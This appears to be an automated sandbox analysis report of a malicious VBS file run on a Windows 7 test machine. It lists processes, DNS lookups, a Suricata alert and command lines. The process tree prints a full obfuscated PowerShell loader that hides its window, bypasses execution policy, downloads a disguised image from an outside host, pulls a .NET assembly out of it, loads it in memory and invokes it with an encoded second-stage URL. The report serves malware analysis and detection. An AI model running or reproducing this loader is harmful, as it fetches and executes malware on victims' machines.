Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Oct. 27, 2023, 10:11 a.m. | Oct. 27, 2023, 10:13 a.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\ereeeeeeeeeeeefereFile.vbs
2644-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVQByagAcxyçGwagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwBoagAcxyçHQagAcxyçdagAcxyçBwagAcxyçHMagAcxyçOgagAcxyçvagAcxyçC8agAcxyçdQBwagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZagAcxyçBlagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBuagAcxyçHMagAcxyçLgBjagAcxyçG8agAcxyçbQagAcxyçuagAcxyçGIagAcxyçcgagAcxyçvagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBzagAcxyçC8agAcxyçMagAcxyçagAcxyçwagAcxyçDQagAcxyçLwagAcxyç2agAcxyçDQagAcxyçNagAcxyçagAcxyçvagAcxyçDcagAcxyçNagAcxyçagAcxyç5agAcxyçC8agAcxyçbwByagAcxyçGkagAcxyçZwBpagAcxyçG4agAcxyçYQBsagAcxyçC8agAcxyçbgBlagAcxyçHcagAcxyçXwBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçLgBqagAcxyçHagAcxyçagAcxyçZwagAcxyç/agAcxyçDEagAcxyçNgagAcxyç5agAcxyçDgagAcxyçMagAcxyçagAcxyç4agAcxyçDQagAcxyçNQagAcxyçyagAcxyçDMagAcxyçJwagAcxyç7agAcxyçCQagAcxyçdwBlagAcxyçGIagAcxyçQwBsagAcxyçGkagAcxyçZQBuagAcxyçHQagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçTgBlagAcxyçHcagAcxyçLQBPagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçagAcxyçgagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçTgBlagAcxyçHQagAcxyçLgBXagAcxyçGUagAcxyçYgBDagAcxyçGwagAcxyçaQBlagAcxyçG4agAcxyçdagAcxyçagAcxyç7agAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçHcagAcxyçZQBiagAcxyçEMagAcxyçbagAcxyçBpagAcxyçGUagAcxyçbgB0agAcxyçC4agAcxyçRagAcxyçBvagAcxyçHcagAcxyçbgBsagAcxyçG8agAcxyçYQBkagAcxyçEQagAcxyçYQB0agAcxyçGEagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBVagAcxyçHIagAcxyçbagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçuagAcxyçEUagAcxyçbgBjagAcxyçG8agAcxyçZagAcxyçBpagAcxyçG4agAcxyçZwBdagAcxyçDoagAcxyçOgBVagAcxyçFQagAcxyçRgagAcxyç4agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçUwB0agAcxyçHIagAcxyçaQBuagAcxyçGcagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBCagAcxyçHkagAcxyçdagAcxyçBlagAcxyçHMagAcxyçKQagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBTagAcxyçFQagAcxyçQQBSagAcxyçFQagAcxyçPgagAcxyç+agAcxyçCcagAcxyçOwagAcxyçkagAcxyçGUagAcxyçbgBkagAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBFagAcxyçE4agAcxyçRagAcxyçagAcxyç+agAcxyçD4agAcxyçJwagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBUagAcxyçGUagAcxyçeagAcxyçB0agAcxyçC4agAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçE8agAcxyçZgagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçKQagAcxyç7agAcxyçCQagAcxyçZQBuagAcxyçGQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçTwBmagAcxyçCgagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBGagAcxyçGwagAcxyçYQBnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçHMagAcxyçdagAcxyçBhagAcxyçHIagAcxyçdagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçZQagAcxyçgagAcxyçDagAcxyçagAcxyçIagAcxyçagAcxyçtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçdagAcxyçagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçCsagAcxyçPQagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçLgBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyç7agAcxyçCQagAcxyçYgBhagAcxyçHMagAcxyçZQagAcxyç2agAcxyçDQagAcxyçTagAcxyçBlagAcxyçG4agAcxyçZwB0agAcxyçGgagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçCagAcxyçagAcxyçJagAcxyçBzagAcxyçHQagAcxyçYQByagAcxyçHQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçDsagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBTagAcxyçHUagAcxyçYgBzagAcxyçHQagAcxyçcgBpagAcxyçG4agAcxyçZwagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçQwBvagAcxyçG4agAcxyçdgBlagAcxyçHIagAcxyçdagAcxyçBdagAcxyçDoagAcxyçOgBGagAcxyçHIagAcxyçbwBtagAcxyçEIagAcxyçYQBzagAcxyçGUagAcxyçNgagAcxyç0agAcxyçFMagAcxyçdagAcxyçByagAcxyçGkagAcxyçbgBnagAcxyçCgagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCkagAcxyçOwagAcxyçkagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZQBkagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçUgBlagAcxyçGYagAcxyçbagAcxyçBlagAcxyçGMagAcxyçdagAcxyçBpagAcxyçG8agAcxyçbgagAcxyçuagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQBdagAcxyçDoagAcxyçOgBMagAcxyçG8agAcxyçYQBkagAcxyçCgagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçpagAcxyçDsagAcxyçJagAcxyçB0agAcxyçHkagAcxyçcagAcxyçBlagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçbagAcxyçBvagAcxyçGEagAcxyçZagAcxyçBlagAcxyçGQagAcxyçQQBzagAcxyçHMagAcxyçZQBtagAcxyçGIagAcxyçbagAcxyçB5agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçVagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçoagAcxyçCcagAcxyçRgBpagAcxyçGIagAcxyçZQByagAcxyçC4agAcxyçSagAcxyçBvagAcxyçG0agAcxyçZQagAcxyçnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçG0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçdagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçuagAcxyçEcagAcxyçZQB0agAcxyçE0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCgagAcxyçJwBWagAcxyçEEagAcxyçSQagAcxyçnagAcxyçCkagAcxyçLgBJagAcxyçG4agAcxyçdgBvagAcxyçGsagAcxyçZQagAcxyçoagAcxyçCQagAcxyçbgB1agAcxyçGwagAcxyçbagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçWwBvagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçBbagAcxyçF0agAcxyçXQagAcxyçgagAcxyçCgagAcxyçJwBkagAcxyçEgagAcxyçaagAcxyçagAcxyçwagAcxyçEwagAcxyçagBRagAcxyçDIagAcxyçWgBYagAcxyçE4agAcxyçaagAcxyçBZagAcxyçG0agAcxyçVgBzagAcxyçGEagAcxyçVwBaagAcxyçGsagAcxyçWgBYagAcxyçFIagAcxyçaagAcxyçBaagAcxyçEgagAcxyçQgagAcxyçxagAcxyçFoagAcxyçRwBsagAcxyçHYagAcxyçYwBtagAcxyçFIagAcxyçawBaagAcxyçFcagAcxyçMQB0agAcxyçFkagAcxyçVwBoagAcxyçHYagAcxyçYgBTagAcxyçDgagAcxyçMagAcxyçBOagAcxyçHoagAcxyçRQB1agAcxyçE4agAcxyçegBNagAcxyçHUagAcxyçTgBEagAcxyçFUagAcxyçeQBMagAcxyçGoagAcxyçVQagAcxyç0agAcxyçE0agAcxyçUwagAcxyç4agAcxyçHYagAcxyçTwBuagAcxyçEIagAcxyçMagAcxyçBkagAcxyçEcagAcxyçZwagAcxyç9agAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBkagAcxyçGYagAcxyçZagAcxyçBmagAcxyçGQagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçYQBkagAcxyçHMagAcxyçYQagAcxyçnagAcxyçCagAcxyçagAcxyçLagAcxyçagAcxyçgagAcxyçCcagAcxyçZagAcxyçBlagAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBjagAcxyçHUagAcxyçJwagAcxyçpagAcxyçCkagAcxyç';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('agAcxyç','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2740-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYmVsaWZkZXRhZHB1ZGlvcmRkZW1tYWhvbS80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
2876
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
apps.identrust.com |
CNAME
a1952.dscq.akamai.net
CNAME
identrust.edgesuite.net
|
23.67.53.17 |
uploaddeimagens.com.br | 172.67.215.45 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49166 -> 172.67.215.45:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49166 172.67.215.45:443 |
C=US, O=Let's Encrypt, CN=E1 | CN=uploaddeimagens.com.br | d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71 |
request | GET http://apps.identrust.com/roots/dstrootcax3.p7c |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | powershell -command "$Codigo = 'JagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVQByagAcxyçGwagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwBoagAcxyçHQagAcxyçdagAcxyçBwagAcxyçHMagAcxyçOgagAcxyçvagAcxyçC8agAcxyçdQBwagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZagAcxyçBlagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBuagAcxyçHMagAcxyçLgBjagAcxyçG8agAcxyçbQagAcxyçuagAcxyçGIagAcxyçcgagAcxyçvagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBzagAcxyçC8agAcxyçMagAcxyçagAcxyçwagAcxyçDQagAcxyçLwagAcxyç2agAcxyçDQagAcxyçNagAcxyçagAcxyçvagAcxyçDcagAcxyçNagAcxyçagAcxyç5agAcxyçC8agAcxyçbwByagAcxyçGkagAcxyçZwBpagAcxyçG4agAcxyçYQBsagAcxyçC8agAcxyçbgBlagAcxyçHcagAcxyçXwBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçLgBqagAcxyçHagAcxyçagAcxyçZwagAcxyç/agAcxyçDEagAcxyçNgagAcxyç5agAcxyçDgagAcxyçMagAcxyçagAcxyç4agAcxyçDQagAcxyçNQagAcxyçyagAcxyçDMagAcxyçJwagAcxyç7agAcxyçCQagAcxyçdwBlagAcxyçGIagAcxyçQwBsagAcxyçGkagAcxyçZQBuagAcxyçHQagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçTgBlagAcxyçHcagAcxyçLQBPagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçagAcxyçgagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçTgBlagAcxyçHQagAcxyçLgBXagAcxyçGUagAcxyçYgBDagAcxyçGwagAcxyçaQBlagAcxyçG4agAcxyçdagAcxyçagAcxyç7agAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçHcagAcxyçZQBiagAcxyçEMagAcxyçbagAcxyçBpagAcxyçGUagAcxyçbgB0agAcxyçC4agAcxyçRagAcxyçBvagAcxyçHcagAcxyçbgBsagAcxyçG8agAcxyçYQBkagAcxyçEQagAcxyçYQB0agAcxyçGEagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBVagAcxyçHIagAcxyçbagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçuagAcxyçEUagAcxyçbgBjagAcxyçG8agAcxyçZagAcxyçBpagAcxyçG4agAcxyçZwBdagAcxyçDoagAcxyçOgBVagAcxyçFQagAcxyçRgagAcxyç4agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçUwB0agAcxyçHIagAcxyçaQBuagAcxyçGcagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBCagAcxyçHkagAcxyçdagAcxyçBlagAcxyçHMagAcxyçKQagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBTagAcxyçFQagAcxyçQQBSagAcxyçFQagAcxyçPgagAcxyç+agAcxyçCcagAcxyçOwagAcxyçkagAcxyçGUagAcxyçbgBkagAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBFagAcxyçE4agAcxyçRagAcxyçagAcxyç+agAcxyçD4agAcxyçJwagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBUagAcxyçGUagAcxyçeagAcxyçB0agAcxyçC4agAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçE8agAcxyçZgagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçKQagAcxyç7agAcxyçCQagAcxyçZQBuagAcxyçGQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçTwBmagAcxyçCgagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBGagAcxyçGwagAcxyçYQBnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçHMagAcxyçdagAcxyçBhagAcxyçHIagAcxyçdagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçZQagAcxyçgagAcxyçDagAcxyçagAcxyçIagAcxyçagAcxyçtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçdagAcxyçagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçCsagAcxyçPQagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçLgBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyç7agAcxyçCQagAcxyçYgBhagAcxyçHMagAcxyçZQagAcxyç2agAcxyçDQagAcxyçTagAcxyçBlagAcxyçG4agAcxyçZwB0agAcxyçGgagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçCagAcxyçagAcxyçJagAcxyçBzagAcxyçHQagAcxyçYQByagAcxyçHQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçDsagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBTagAcxyçHUagAcxyçYgBzagAcxyçHQagAcxyçcgBpagAcxyçG4agAcxyçZwagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçQwBvagAcxyçG4agAcxyçdgBlagAcxyçHIagAcxyçdagAcxyçBdagAcxyçDoagAcxyçOgBGagAcxyçHIagAcxyçbwBtagAcxyçEIagAcxyçYQBzagAcxyçGUagAcxyçNgagAcxyç0agAcxyçFMagAcxyçdagAcxyçByagAcxyçGkagAcxyçbgBnagAcxyçCgagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCkagAcxyçOwagAcxyçkagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZQBkagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçUgBlagAcxyçGYagAcxyçbagAcxyçBlagAcxyçGMagAcxyçdagAcxyçBpagAcxyçG8agAcxyçbgagAcxyçuagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQBdagAcxyçDoagAcxyçOgBMagAcxyçG8agAcxyçYQBkagAcxyçCgagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçpagAcxyçDsagAcxyçJagAcxyçB0agAcxyçHkagAcxyçcagAcxyçBlagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçbagAcxyçBvagAcxyçGEagAcxyçZagAcxyçBlagAcxyçGQagAcxyçQQBzagAcxyçHMagAcxyçZQBtagAcxyçGIagAcxyçbagAcxyçB5agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçVagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçoagAcxyçCcagAcxyçRgBpagAcxyçGIagAcxyçZQByagAcxyçC4agAcxyçSagAcxyçBvagAcxyçG0agAcxyçZQagAcxyçnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçG0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçdagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçuagAcxyçEcagAcxyçZQB0agAcxyçE0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCgagAcxyçJwBWagAcxyçEEagAcxyçSQagAcxyçnagAcxyçCkagAcxyçLgBJagAcxyçG4agAcxyçdgBvagAcxyçGsagAcxyçZQagAcxyçoagAcxyçCQagAcxyçbgB1agAcxyçGwagAcxyçbagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçWwBvagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçBbagAcxyçF0agAcxyçXQagAcxyçgagAcxyçCgagAcxyçJwBkagAcxyçEgagAcxyçaagAcxyçagAcxyçwagAcxyçEwagAcxyçagBRagAcxyçDIagAcxyçWgBYagAcxyçE4agAcxyçaagAcxyçBZagAcxyçG0agAcxyçVgBzagAcxyçGEagAcxyçVwBaagAcxyçGsagAcxyçWgBYagAcxyçFIagAcxyçaagAcxyçBaagAcxyçEgagAcxyçQgagAcxyçxagAcxyçFoagAcxyçRwBsagAcxyçHYagAcxyçYwBtagAcxyçFIagAcxyçawBaagAcxyçFcagAcxyçMQB0agAcxyçFkagAcxyçVwBoagAcxyçHYagAcxyçYgBTagAcxyçDgagAcxyçMagAcxyçBOagAcxyçHoagAcxyçRQB1agAcxyçE4agAcxyçegBNagAcxyçHUagAcxyçTgBEagAcxyçFUagAcxyçeQBMagAcxyçGoagAcxyçVQagAcxyç0agAcxyçE0agAcxyçUwagAcxyç4agAcxyçHYagAcxyçTwBuagAcxyçEIagAcxyçMagAcxyçBkagAcxyçEcagAcxyçZwagAcxyç9agAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBkagAcxyçGYagAcxyçZagAcxyçBmagAcxyçGQagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçYQBkagAcxyçHMagAcxyçYQagAcxyçnagAcxyçCagAcxyçagAcxyçLagAcxyçagAcxyçgagAcxyçCcagAcxyçZagAcxyçBlagAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBjagAcxyçHUagAcxyçJwagAcxyçpagAc